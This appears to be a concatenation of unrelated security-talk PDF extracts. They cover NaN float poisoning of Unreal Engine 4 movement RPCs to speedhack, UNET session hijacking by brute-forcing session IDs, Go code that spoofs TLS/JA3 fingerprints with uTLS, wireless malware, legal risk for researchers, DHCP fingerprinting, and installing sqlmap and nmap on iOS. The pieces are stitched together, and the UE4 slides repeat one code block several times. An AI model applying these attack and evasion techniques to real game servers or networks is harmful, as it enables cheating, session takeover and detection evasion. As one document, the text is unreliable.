MOVEMENT > UE4 movement is server-authoritative > Client cannot directly dictate the player’s position > To move the character, the client issues a movement RPC MOVEMENT RPC > The movement RPC has two important arguments (We’re simplifying a bit) > The movement vector > A vector dictating the direction and speed of movement > A timestamp of when the RPC is issued > Represented as a 32-bit float // Calculate the time since last movement MovementDelta = CurrentTimestamp - LastTimestamp // Calculate the distance moved in this time AppliedMovement = MovementVector * MovementDelta FLOATING POINT > Now we need to talk about floating point > Floating Point (Specifically IEEE 754) is how most computer systems represent rational numbers such as 12.34 FLOATING POINT > Floating point has some "special" values +/- Infinity (or INF) +/- Not-a-Number (or NaN) FLOATING POINT > These special values usually result from undefined mathematical operations 1.0 / 0.0 = INF -1.0 / 0.0 = -INF 0.0 / 0.0 = NaN sqrt(-1) = NaN FLOATING POINT > NaN in particular has some special properties > Any affirmative comparison against NaN evaluates to false NaN == 0 // false NaN > 0 // false NaN < 0 // false NaN == NaN // false FLOATING POINT > NaN tends to “propagate” > Any mathematical operation including NaN evaluates to NaN NaN + 1 = NaN NaN - 1 = NaN NaN * 2 = NaN NaN / 2 = NaN NaN POISONING > NaN Poisoning is where these properties of NaN are used to cause some unintended effect > For example, take the following code float num = NaN if (num > 100.0f || num < 0.0f) return false; // do important stuff with num NaN POISONING > NaN poisoning attacks are rare because it is typically difficult to introduce NaN into an equation > However, when we call RPCs we can use any arguments we want (including NaN or INF) MOVEMENT RPC > Back to our movement RPC, what happens if our timestamp is NaN? > Timestamp is first passed through the function UCharacterMovementComponent::IsClientTimeStampValid if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; MOVEMENT RPC > By pure luck, all of these conditionals are written such that NaN will pass right through > Since our timestamp was "valid", we generate DeltaTime using NaN float DeltaTime = ClientTimeStamp - CurrentClientTimeStamp; MOVEMENT RPC > Now the server will attempt to apply our movement > Here we run into our first issue // Perform actual movement if (DeltaTime > 0.f) { MoveAutonomous(TimeStamp, DeltaTime); } MOVEMENT RPC > Our movement doesn't apply since DeltaTime is NaN > But we're not done yet! We've caused ServerData->CurrentClientTimeStamp to be NaN > Now we need to look back at UCharacterMovementComponent::IsClientTimeStampValid if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; if (TimeStamp <= 0.f) { return false; } const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp); // If TimeStamp is in the past, move is outdated, not valid. if( TimeStamp <= ServerData.CurrentClientTimeStamp ) { return false; } if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME) { return false; } // TimeStamp valid. return true; MOVEMENT RPC > DeltaTimeStamp will be NaN regardless of what our second TimeStamp is > On this second RPC call any timestamp >0.0 will pass the validity check > Unfortunately, our DeltaTime will still calculate to NaN, so still nothing happens! > Fortunately, now we've poisoned another value float ClientError = ClientDelta - ServerDelta; float NewTimeDiscrepancy = ServerData.TimeDiscrepancy + ClientError; MOVEMENT RPC > The value NewTimeDiscrepancy is used to detect a difference between client time and server time > If this difference becomes too large, the server will start ignoring our movement RPCs > By poisoning this value we can make it impossible for the server to detect that our time difference is invalid if (NewTimeDiscrepancy > MovementTimeDiscrepancyMaxTimeMargin) { // Time discrepancy detected } MOVEMENT RPC > Once NewTimeDiscrepancy is NaN, the server cannot detect a time discrepancy for any timestamp we send > We can now pull off an old-school speed hack by “speeding up time” client side > This allows us to move significantly faster than built-in limitations would normally allow UE4 SPEEDHACK DEMO #1 RPC FLOAT POISONING > Fixed in UE4.25.2 with commit 012a7fa095d18d4c4b6c29e9f7bda0904377b667 > This demonstrates a fun type of attack against UE4 games - float poisoning > Can also apply to UNET UNET REMOTE SESSION HIJACKING BUG #4 UNET SESSION AUTHENTICATION > UNET uses a protocol-level process to authenticate packets > Remember - UNET is over UDP > Packets are not validated by source IP address, only by values within the packet > Knowing this, it is theoretically possible to hijack another player’s session fully remotely UNET SESSION AUTHENTICATION > There are 3 important values that are used to validate an incoming packet: > Host ID > Session ID > Packet ID HOST ID > The Host ID is a 16-bit integer that associates a packet with a given client > Host IDs are assigned sequentially starting at 1 > Note that this is per CLIENT. The server player does not get a Host ID > Host IDs are not intended to be a secret > We can easily enumerate the Host ID of other players SESSION ID > The Session ID is the primary authenticating secret of a connection > Session ID is randomly generated by the client when connecting > All packets must have the correct Session ID or be discarded SESSION ID > Session IDs are also 16-bit integers and cannot be 0. This means there are only 65535 possible Session IDs (1 - 0xFFFF inclusive) > There is no penalty for guessing a wrong Session ID other than the packet being dropped > We can easily brute force 65535 possible options SESSION ID > We can narrow down the search even more > Session IDs are generated with the function UNET::GetRandNotZero > This function ensures the result is not zero by OR’ing the result with 1 > This means a legitimate client will only ever generate odd-number Session IDs > This reduces possible Session IDs to 32768 PACKET ID > Knowing the Host ID and guessing the Session ID means our spoofed packet will be accepted > There’s one more hiccup though, the Packet ID > The packet ID is incremented with each packet sent by the client (Like a sequence number) > Again, 16-bits long PACKET ID > The packet ID is used to detect duplicate or out-of-order packets > It’s also used to determine the rate of packet loss > If the last packet ID was 1 and the next packet ID is 1000, we assume 998 packets are missing PACKET ID > We can determine Host ID and guess Session ID, what can we do with Packet ID? > What happens if we send a random Packet ID? > Let’s read the documentation PACKET ID > If new packet ID is greater than last packet ID + 512 (0x200), disconnect the session > If packet ID is more than 512 behind current packet ID, discard > If packet ID has been seen recently, discard > Otherwise, accept and process packet From https://github.com/Unity-Technologies/UnetEncryptionExample/blob/master/docs/duplication.md PACKET ID > If our guessedPacketId > lastPacketId + 512 the connection will be disconnected > This is still useful! We can easily kick other players off the server > However, it’s much more interesting if we can bypass this check PACKET ID > From the documentation, the odds of us injecting a valid packet are low > guessedPacketId must be lastPacketId +/- 512 > Less than 7% chance of success > The implementation tells a slightly different story however PACKET ID > Packet ID validation is done by the function UNET::ReplayProtector::IsPacketReplayed > In practice, this function does not actually discard packets that are more than 512 packets old > Instead, old packets are accepted! PACKET ID > Unfortunately, we can’t just use a low packet ID to always be accepted > The check accounts for cases where the packet ID overflows from 0xFFFF to 0 > Instead, the server has a “rolling window” of 0x7FFF IDs used to determine if a packet is old or new PACKET ID > Doing the math, we have very close to a 50% chance that a packet ID will be accepted > Most of the rest of the time, we cause the other player to get kicked > Occasionally our packet ID will be a duplicate and the injected packet will be discarded SESSION HIJACKING DEMO #2 REMEDIATION > This is considered to be an architectural weakness of UNET > The only mitigation against this encrypting UNET > Unity provides a reference implementation > Does not implement key exchange > I have not found a single game implementing this FUTURE WORK > I probably haven’t found all the bugs even in the components I looked at > Both protocols have other transport modes (Particularly websockets) > Third party networking plugins (Like Photon, Mirror) > Other engines (GameMaker Studio, Godot, etc) THANKS > Epic Games and Unity Technologies security teams for putting up with me > Igor Grinku (https://twitter.com/Grigoreen) for the background art github.com/qwokka/defcon28
pdf
1 tls指纹 具体可参考这个 go默认使⽤的client hello配置是固定不变的,导致特征也是固定的,所以需要做改动。 go默认ja3指纹89be98bbd4f065fe510fca4893cf8d9b chromeja3指纹cd08e31494f9531f560d64c695473da9 ⼀共分为五个部分 SSLVersion,Cipher-Suites,SSLExtension,EllipticCurve,EllipticCurvePointFormat 为了尽量模拟浏览器的client hello,我们先⽐下go和chrome的tls指纹组成 go: chrome: SSLVersion⼀致 可以修改Cipher-Suites 在pkg/transport/tls.go,tls.Config⽀持CipherSuites修改,如下 ja3 此处为语雀内容卡⽚,点击链接查看:https://www.yuque.com/go/doc/61846405?view=doc_embed 771,49199-49200-49195-49196-52392-52393-49171-49161-49172-49162-156-157-47- 53-49170-10-4865-4867-4866,5-10-11-13-65281-18-43-51,29-23-24-25,0 1 XML 复制代码 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157- 47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0 1 XML 复制代码 2 SSLExtension,扩展列表这个实在不好改,go的官⽅tls库⽐chrome少了不少参数,所以这个就先别做修 改了。 EllipticCurve 椭圆曲线密码,刚好也⽀持这个选项配置,就做调整 EllipticCurvePointFormat 最后⼀项椭圆曲线格式,默认均为0,所以不做改动。 总⽽⾔之,⼀共只需要修改两处 修改后,指纹也就变化了,可以区别于默认go程序的指纹,但还⽆法做到和浏览器⼀致,后续需要魔改 官⽅tls库来兼容更多的extension才能实现完全模拟。 base.CipherSuites = []uint16{4865,4866,4867,49195,49199,49196,49200,52393,5 2392,49171,49172,156,157,47,53} 1 XML 复制代码 base.CurvePreferences = []tls.CurveID{tls.X25519, tls.CurveP256, tls.CurveP 384} 1 XML 复制代码 3 ⽂章 https://mp.weixin.qq.com/s/og2IKo8lcydh8PROUPD7jQ https://segmentfault.com/a/1190000041699815 库 https://github.com/refraction-networking/utls 这个库是基于crypto/tls进⾏开发的,可以模拟绝⼤部分情况下的ja3指纹。 和官⽅库差不多的⽤法,如下在封装时除了conn连接和config配置以外,需要传 ⼊ ClientHelloID ,这个ID是有⼀些内置的指纹可以直接调⽤,或者也可以⾃定义。 这是官⽅库 u_common.go,如下有⾮常全的现成指纹信息可以⽤。 实现 conn, _ := net.DialTimeout("tcp", "121.14.77.201:443", 10*time.Second) uConn := tls.UClient(conn, &tls.Config{ServerName: "www.qq.com", Insecu reSkipVerify: true}, tls.HelloChrome_102) uConn.Write([]byte("aaa")) 1 2 3 Go 复制代码 4 这些ID最终对应到这个函数 utlsIdToSpec ⾥ 5 后续可参考这边编写实现⾃⼰的。 6 并且该库还⽀持解析数据包中的client hello信息,来⾃动化构建⼀个⾃定义参数,实现模拟各种ja3指纹 浏览器访问,然后抓包找到client hello包,选中tls层的数据,然后复制成hex stream即可。 7 将tls的hex数据粘贴到以下位置,通过 fingerprinter.FingerprintClientHello 即可解析⽣ 成⼀个⾃定义spec,封装到tlsConn⾥直接使⽤。 要注意的是 ClientHelloID 还设置成 HelloCustom 即⾃定义 8 可以看到完全⼀致(wireshark好像3.6以上就⽀持ja3的指纹⽣成了) PS: 要注意⼀点,SNI也会参与计算,如果ServerName为空会不插⼊Extension⾥,导致ja3指纹计算结 果不⼀样 conn, _ := net.DialTimeout("tcp", "121.14.77.201:443", 10*time.Second) rawCapturedClientHelloBytes, _ := hex.DecodeString("1603010200010001fc 03037741eebedfb7afbcfcd0f49f9b59d7a9c13eb3ccd8f207b8c692ffb1b9b9f5c22017bd 40c3ec96ca8c21df97de564ce5e4e88bc945ca902d7d4260f77fb980631400221a1a130113 0213021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010001918a8a0000 00000012001000000d7370312e62616964752e636f6d00170000ff01000100000a000a0008 dada001d00170018000b00020100002300a00efd73f80bf561e25ea122de025cb65678ebfc d201e8c49325fbabe586918cdb8cfdeaac64d4798b351295c62d94aa3c48a8f4181bee25d4 202025cbf7eaf074233d576018c8adfe0d4527daa496e1b05162c0490a00fb108522a31e0b f369482a97a77d62f147f1657e927b45223545e7ad54f99239d820ed81b41c172a15dc3762 f5d8fd1d333e082f55daca4e38ae11456fa4caf6be4419b56e5ed36a08580010000e000c02 683208687474702f312e31000500050100000000000d001200100403080404010503080505 0108060601001200000033002b0029dada000100001d0020ecb49f62fef0dc89ff3e6084d9 9e39b27820e68d9c4d8bf24b6d367e286ce05a002d00020101002b000706baba0304030300 1b0003020002446900050003026832caca0001000015002800000000000000000000000000 000000000000000000000000000000000000000000000000000000") uConn := tls.UClient(conn, &tls.Config{ServerName: "www.qq.com", Insec ureSkipVerify: true}, tls.HelloCustom) fingerprinter := &tls.Fingerprinter{} generatedSpec, err := fingerprinter.FingerprintClientHello(rawCaptured ClientHelloBytes) if err != nil { t.Fatalf("fingerprinting failed: %v", err) } if err := uConn.ApplyPreset(generatedSpec); err != nil { t.Fatalf("applying generated spec failed: %v", err) } uConn.Write([]byte("aaa")) 1 2 3 4 5 6 7 8 9 10 11 12 Go 复制代码 9 这个库还有些其他玩法,可以⾃⾏参考⽂档或者他的 example.go 存在⼩bug,如果⾃动握⼿,可能会出现握⼿失败的问题,建议⼿动握⼿ utls bug 10 uConn := tls.UClient(c, tlsConfig, tls.HelloChrome_Auto) // 错误姿势,如此可能会报错 uConn.Write([]byte("a")) // 正确姿势 err := uConn.Handshake() 1 2 3 4 5 Go 复制代码
pdf
Malicious Code & wireless networks By: Brett Neilson 7/13/2002 Slide 2 Defcon 11 Overview • Wireless technology, networks & devices • Defining wireless threats • Why malicious code will spread on wireless networks • Economic impact & potential damages • Protecting against malicious threats Wireless technology & networks 7/13/2002 Slide 4 Defcon 11 What is wireless? • Merriam Webster says: – Wireless: adjective 1: Having no wire or wires • Basic Components of a wireless system – Antenna • The conduit of sorts – Transmitter • Sends the RF – Receiver • Receives the RF 7/13/2002 Slide 5 Defcon 11 So who is using it? • Everybody – TV / Radio / Satellite – Police / Fire / EMS – Cell Phones / Pagers – Building access cards – Automatic Toll Collection (Toll Tags) 7/13/2002 Slide 6 Defcon 11 Mobile Data Terminals (MDT) • Very popular with Police and Fire • Allows instant access to dispatcher data • More secure??? – Up until recently legal to monitor • New features include – Live video monitoring 7/13/2002 Slide 7 Defcon 11 Cellular Technologies 3G (Third Generation) – 2002 and beyond (In progress) – Data speeds (144+Kbps) – Video and Audio 2.5G (Not quite 3G) – 2001 to present – Digital / PCS Services – Data speeds (56Kbps) – Email messaging 2G (Second Generation) – 1995 to present – Digital / PCS Services – Data speeds (9.6 – 19Kbps) – Text messaging 1G (First Generation) – 1983 to present – Analog cellular service – Voice only 7/13/2002 Slide 8 Defcon 11 802.11 Networks 802.11g 20 Mbps 2.4 Ghz 802.11b 11 Mbps 2.4 GHz 802.11a 54 Mbps 5.15-5 GHz 802.11 1 to 2 Mbps 2.4 GHz 7/13/2002 Slide 9 Defcon 11 Wireless Devices • PDA – Palm & iPAQ – Strong Growth in 2000 • Slowly shrinking thereafter – Renewed interest due to advances – New suppliers entering the market • Converged Devices – PDA & Phone combined into one – All the features w/ all the connectivity – Designed for size not security • Wireless (Security) Cameras • RFID devices Defining Wireless Threats 7/13/2002 Slide 11 Defcon 11 Defining the wireless threats • WarDriving – Searching and Logging • Data Snooping – Capturing data • Jamming – Disrupting legitimate signals • Insertion Attacks – Unauthorized clients and APs 7/13/2002 Slide 12 Defcon 11 Defining the wireless threats • Malicious Code – Virus • A piece of code that can replicate itself – SMS - URLs & Attachments – Worm • A program that can copy itself to other disks – Masquerades as valid program – Trojan • A program that launches other programs or code – Masquerades as valid program 7/13/2002 Slide 13 Defcon 11 Emerging threats • Liberty Trojan (PLAM) - September 2000 – Deleted applications and was unable to replicate itself • Timophonica (Spain) - January 2001 – First automatic dialer • 911 - April 2001 – Caused phones to repeatedly dial 911 – Sent to over 100,000 phones • Flooder - August 2001 – Sends unwanted SMS messages • Phage & Vapor – September 2001 – Deleted files and hid applications Why Malicious Code will spread 7/13/2002 Slide 15 Defcon 11 Why Malicious Code will spread… • In nature, viruses infect all organisms, even the tiniest bacteria. – Small Pox, Plague, SARS • Likewise, computer viruses infect all platforms that reach a any level of sophistication. – Melissa, LoveBug, Klez 7/13/2002 Slide 16 Defcon 11 Four main factors 1) Protection is poor or non-existent 2) Power of new devices 3) Standardization of networks 4) Increased connection of devices 7/13/2002 Slide 17 Defcon 11 Protection is poor or non-existent • Very little built in protection – Nokia 9000 series has malicious code protection • Data transmissions are protected but unchecked – Currently no carrier has the ability to scan SMS or MMS delivery servers for malicious code. – Current security only offers limited protection and next to no scanning abilities 7/13/2002 Slide 18 Defcon 11 Power of new devices • PDAs are now able to run PC like applications – Increased power means increased automation • Automation is often targeted by virus writers. • Devices are often synchronized on a regular basis – Thus opening a door for the spread of malicious code • Common language for developing apps – Makes it easier to create malicious code 7/13/2002 Slide 19 Defcon 11 Standardization of networks • The more standard the easier malicious code will spread – Same as in the wired world • Trend is moving away from proprietary standards and is focusing more on TCP/IP related standards • Email messaging brought us Melissa and LuvBug – Standardized wireless networks are sure to do the same 7/13/2002 Slide 20 Defcon 11 Increased connection of devices • More connectivity than ever – Bluetooth – WiFi 802.11 – Cellular • Allows for multiple ways to the internet and email • Increased SMS/MMS popularity and exposure due to links and attachments Economic Impact and Potential Damages 7/13/2002 Slide 22 Defcon 11 Damages • Users receive unwanted messages • Some devices send unwanted messages • Data in devices is erased, deleted or stolen • Device becomes unusable • Network slowdowns (congestion) • Network performance suffers • Network intrusion 7/13/2002 Slide 23 Defcon 11 Impact • Customer complaints • Higher turnover from unhappy customers • Cost from unwanted traffic – May not be just dollars • Dropped calls • Un-infecting or cleaning devices & servers/network • Purchasing new technology 7/13/2002 Slide 24 Defcon 11 So what's the financial impact? 43 212 471 0 100 200 300 400 500 Millions 2003 2004 2005 So what needs to be done? 7/13/2002 Slide 26 Defcon 11 Protecting against malicious threats • Protection must be implemented at every point possible – Devices, Switches, Towers, COs, etc. • Mobile operators need to start offering scanning services to their clients and need to start scanning their servers and data streams. • Delivering a solution now rather than latter could save millions of dollars in lost revenue and expenses. – AV Vendors need to start step up to the plate • Mobile operators and device manufactures need to have plans for addressing thousands if not millions of simultaneous infections on their networks. 7/13/2002 Slide 27 Defcon 11 Conclusion • Top four reasons malicious code will spread 1. Current protection of wireless networks/devices is minimal 2. Increased computing power 3. Standardization 4. Growing connectivity • Not changing security could result in large economic losses – $471 Million per 5 Million users estimated for 2005 • Mobile Operators, Administrators, Manufactures and Developers should act now and think proactively in a effort to better protect their systems. Thank you… Brett Neilson [email protected]
pdf
Persona Not Validated - 1362589322691 Digitally signed by Persona Not Validated - 1362589322691 DN: cn=Persona Not Validated - 1362589322691, [email protected], ou=S/ MIME, ou=Persona Not Validated, ou=Symantec Trust Network, o=Symantec Corporation Date: 2013.08.08 21:25:51 -04'00' This presentation is not legal advice about your specific situation. This presentation does not create an attorney-client relationship. While these approaches are designed to reduce risk, they cannot eliminate it. DEF CON 21 2 Overview •Types of Risks to Researchers •Risk Mitigation Strategies •Disclosure Options •Risk Mitigation for Selling Exploits Your Goal: Be a Harder Target 3 DEF CON 21 Risks in Disclosing or Selling Research Examples: You found out how to see other people’s utility bills by changing the http query string You discovered your neighbor’s WiFi is using the default password You broke the crypto protecting media You wrote a better RAT Many of the same risks apply 4 DEF CON 21 What are we talking about? “Techniques” Information relating to both exploits and vulnerabilities that enable another party to obtain unauthorized access to a computer, deny access by others to a computer, or cause permanent or temporary damage to a computer or a network DEF CON 21 5 When is There Risk? •Threats of with legal action before conference or disclosure  Chris Paget (IOActive) (Black Hat) - 2007  Princeton Prof. Felten (USENIX) - 2001 •Injunction barring disclosure before conference or disclosure  Megamos (USENIX) - 2013  MIT - Massachusetts Bay Transportation Authority (DEFCON) - 2008 6 DEF CON 21 When is There Risk? •Legal actions initiated after conference or disclosure  Cisco - Michael Lynn (ISS) (Black Hat) 2005  Civil lawsuit filed after talk  Dmitry Sklyarov (DEFCON)  Taken into custody in Las Vegas after DEFON presentation 7 DEF CON 21 Computer Fraud and Abuse Act accesses “without authorization” “exceeds authorized access” by deployment or development effort 8 DEF CON 21 Computer Fraud and Abuse Act Are you connected to the internet? Are you accessing a remote system? Do you have permission to access that system? 9 DEF CON 21 Conspiracy to violate the CFAA risk enhanced by social media 10 DEF CON 21 CFAA Risk Example Cases • Criminal prosecution  Nestor (exploited video poker bug [CFAA charge dropped])  Nosal (terms of use [no CFAA violation, 9th Cir.]  Aaron Swartz (spoofed MAC address)  Andrew Auernheimer (conspiracy to script http queries to public API)  “conspiracy to hack a honeypot may still violate the CFAA.” (DOJ CCIPS manual citing U.S. v. Schaffer) • Civil prosecution  Available on the same grounds to private parties 11 DEF CON 21 Risk Mitigation: CFAA 18 U.S.C. §1030 “(a) Whoever – (1) having knowingly accessed a computer without authorization or exceeding authorized access…” 12 DEF CON 21 Risk Mitigation: CFAA 18 U.S.C. §1030 “(a) Whoever – (2) intentionally accesses a computer without authorization or exceeds authorized access…” 13 DEF CON 21 Risk Mitigation: CFAA Avoid unintentionally creating Knowledge Intent 14 DEF CON 21 Risk Mitigation: CFAA •Do not direct technique information to someone you suspect or should know is likely to use it illegally. 15 DEF CON 21 Risk Mitigation: CFAA •Be careful in providing “support”. “If I were your lawyer, I’d advise you not to answer that tweet.” 16 DEF CON 21 Risk Mitigation: CFAA • Consider not providing technique information directly to any individuals and limiting distribution to websites only. • Do not promote the disclosure on forums known to support or promote illegal activity. • If published on a website, consider disabling comments to avoid possibility of users discussing illegal use on your site. • Do not maintain logs. 17 DEF CON 21 Risk Mitigation: TRO • Goal: Avoid a Temporary Restraining Order (TRO) Factors (1) Will the requestor suffer irreparable harm if the TRO does not issue? (2) Will there be even greater harm to the researcher if the TRO does issue? (3) The public interest (4) Likelihood requestor will ultimately prevail 18 DEF CON 21 Risk Mitigation: TRO •Avoid use of copyrighted material.  Exploit including source or object code from target may infringe copyright  Megamos and Cisco plaintiffs cited misappropriation of intellectual property  “Fair use” exception •Avoid darknet sources for proprietary or copyrighted material. 19 DEF CON 21 Risk Mitigation: TRO •Be aware of any pre-existing relationships with possible targets of the technique. Terms of Service (TOS), End User License Agreement (EULA), Non- Disclosure Agreement (NDA), Employment Agreements 20 DEF CON 21 Risk Mitigation: TRO •Necessity of risk mitigation depends on nature of research. •If research techniques were questionable: Do not publish identity of the target system. 21 DEF CON 21 Disclosure Options 22 DEF CON 21 Option #1 Disclose to responsible party •Relatively high risk if techniques used were questionable if planning to present at a conference or publish (TRO) •Risk lowered if submitted anonymously and OPSEC is good •Relatively low risk if to a bug bounty and no questionable techniques used 23 DEF CON 21 Option #2 Disclose to gov’t authority 24 DEF CON 21 •Relatively high risk if techniques used were questionable anonymity is desired •Risk lowered if submitted anonymously and OPSEC is good Always Accept the Risk in Disclosing if You Are… 25 DEF CON 21 OK to Disclose 26 DEF CON 21 [REDACTED] Option #3 Pilot TTP Disclosure Program • Researcher discloses vuln to trusted third party (TTP attorney) only.  Maintains attorney-client privilege • TTP discloses vuln to responsible party. • TTP [does | does not] publish the vuln on behalf of researcher after y days. • Researcher can remain anonymous [temporarily | permanently]. • Researcher maintains control of disclosure process. 27 DEF CON 21 Selling: The Current Situation 28 DEF CON 21 The NDAA Senate Bill “The President shall establish an interagency process to provide for the establishment of an integrated policy to control the proliferation of cyber weapons through unilateral and cooperative export controls, law enforcement activities, financial means, diplomatic engagement, and such other means as the President considers appropriate.” 29 DEF CON 21 The NDAA Cmtee Report “The types of dangerous software used to perpetrate these malicious incidents are actively traded on a global black market, and they are also available in the so-called gray market, through unscrupulous companies.” “This process will require developing definitions and categories for controlled cyber technologies and determining how to address dual use, lawful intercept, and penetration testing technologies.” Senate Cmtee on Armed Services, National Defense Auth Act, June 20, 2013 30 DEF CON 21 The European Directive Article 7 Tools used for committing offences Member States shall take the necessary measures to ensure that the intentional production, sale, procurement for use, import, distribution or otherwise making available, of one of the following tools, without right and with the intention that it be used to commit any of the offences referred to in Articles 3 to 6, is punishable as a criminal offence, at least for cases which are not minor: (a) a computer programme, designed or adapted primarily for the purpose of committing any of the offences referred to in Articles 3 to 6; 31 DEF CON 21 The European Exception Whereas: (16)…Motivated by the need to avoid criminalisation where such tools are produced and put on the market for legitimate purposes, such as to test the reliability of information technology products or the security of information systems, apart from the general intent requirement, a direct intent requirement that those tools be used to commit one or more of the offences laid down in this Directive must be also fulfilled.” 32 DEF CON 21 Selling: Risk Mitigation •Create dual-use tools. Copy II Plus •Know your buyer. Avoid embargoed countries EU, US, UN •Ask for assurances from the buyer. •Use disclaimer language. 33 DEF CON 21 Selling: Risk Mitigation • Use disclaimers in correspondence and agreements “Compliance with Law. Customer acknowledges that the Software can be configured by the user to obtain access to information using penetration techniques that may cause disruption in systems or services and may cause data corruption. Denial of Service attacks may be run on command that will attempt to render systems and services unavailable to authorized users. Customer specifically agrees that the Software will only be used to target devices under the authorized control of the Customer and in a way in which damage to systems or loss of access or loss of data will create no liability for [discloser/seller] or any third party. Customer further agrees to strictly comply with all federal, state and local laws and regulations governing the use of network scanners, vulnerability assessment software products, hacking tools, encryption devices, and related software in all jurisdictions in which systems are scanned or scanning is controlled.” “You also agree that you will not use these products for any purposes prohibited by United States law, including, without limitation, the development, design, manufacture or production of nuclear, missiles, or chemical or biological weapons.” 34 DEF CON 21 Contact Information Jim Denaro [email protected] @CipherLaw https://www.cipherlawgroup.com PGP / X.509 at https://www.cipherlawgroup.com/professionals/denaro SilentCircle: cipherlaw 35 DEF CON 21
pdf
FingerBank - open DHCP fingerprints database no it's not about a bank of fingers... Presentation Plan Device fingerprinting, passive fingerprinting, DHCP fingerprinting Defensive use cases Offensive use cases FingerBank announcement FingerBank's future Who I am Olivier Bilodeau System architect working at Inverse inc PacketFence lead developer since 2009 Teaching InfoSec to undergraduate in Montreal ... new father, Open Source nuts, enjoying CTFs a lot, android developer, brewing beer Social stuff twitter: @packetfence / identi.ca: @plaxx delicious: plaxxx / linkedin: olivier.bilodeau Device fingerprinting reminder Identifies software or hardware components Various types Operating Systems Devices Browsers Web Server Web Applications Two approaches of gathering fingerprints Active Pros: On demand Cons: Detectable, sometimes intrusive Passive Pros: Stealth Cons: not on demand Passive fingerprinting reminder Networks are really noisy Some protocols use broadcast Just wait for the goods to come to you LAN fingerprinting mDNS, TCP, ARP, DHCP, ... WAN fingerprinting honeypots DHCP Fingerprinting reminder The pervasiveness and broadcast nature of DHCP makes it compelling IP Helpers (UDP Helper Address) makes it very easy to collect centrally Rarely spoofed DHCP Fingerprinting reminder (contd.) DHCP Elements to fingerprint DHCP retransmission timing (actual vs in packet) IP TTL on DHCP packets DHCP Options (55: requested parameters, 60: vendor id, ...) Number and order of option 55 is particularly precise and interesting Defensive Use Cases Easy Operating System Inventory Even more powerful if IP-Helpers use DHCP Option 82 NAC integration to blacklist end-of-life OS ex: Win 2000 and earlier NAC integration to automatically allow dumb devices (shh!) Offensive Use Cases Stealth LAN Recon! ... Any other ideas? Why FingerBank? There are User-Agent databases out there There are snort signature databases out there What about DHCP Fingerprints? Consolidate information hidden in silos Regroup communities that would benefit from sharing this information Raise awareness about this easy to use technique What is FingerBank? A website dedicated to sharing DHCP fingerprint and tools. Two extensive DHCP fingerprint databases (PacketFence, Satori) DHCP fingerprinting tools Mailing list Who's backing FingerBank? Eric Kollman - Satori David LaPorte - PacketFence founder Olivier Bilodeau - PacketFence lead developer FingerBank's future Based on community participation Improve fingerprint sharing tools Consolidate data formats Room for new tools a pentester oriented one Support and share about new passive fingerprint types? That's it I hope you enjoyed! See you in the debriefing room. twitter: @packetfence / identi.ca: @plaxx delicious: plaxxx / linkedin: olivier.bilodeau References DHCP Fingerprinting Using DHCP for Passive OS Identification, BlackHat Japan 2007, David LaPorte, Eric Kollmann, http://myweb.cableone.net/xnih/download/bh-japan-laporte-kollmann-v8.ppt Users of current DHCP Fingerprint databases PacketFence, http://www.packetfence.org Satori, http://myweb.cableone.net/xnih/ Other fingerprinting tools nmap, http://www.nmap.org/ Blind Elephant, http://TODO p0f, http://TODO SinFP, http://TODO Inspiration Browser ID Strings, http://www.zytrax.com/tech/web/browser_ids.htm Emerging Threats, http://www.emergingthreats.net
pdf
​ ​ subscribe to the AltStore Patreon IOSLinux——ish 0x00 0x01 0x02 ​ ​ ​ https://ish.app/altstore.json apk update apk upgrade apk add python3 0x03 apk add git pip3 install sqlmap sqlmap -h apk add nmap ​ 0x04
pdf
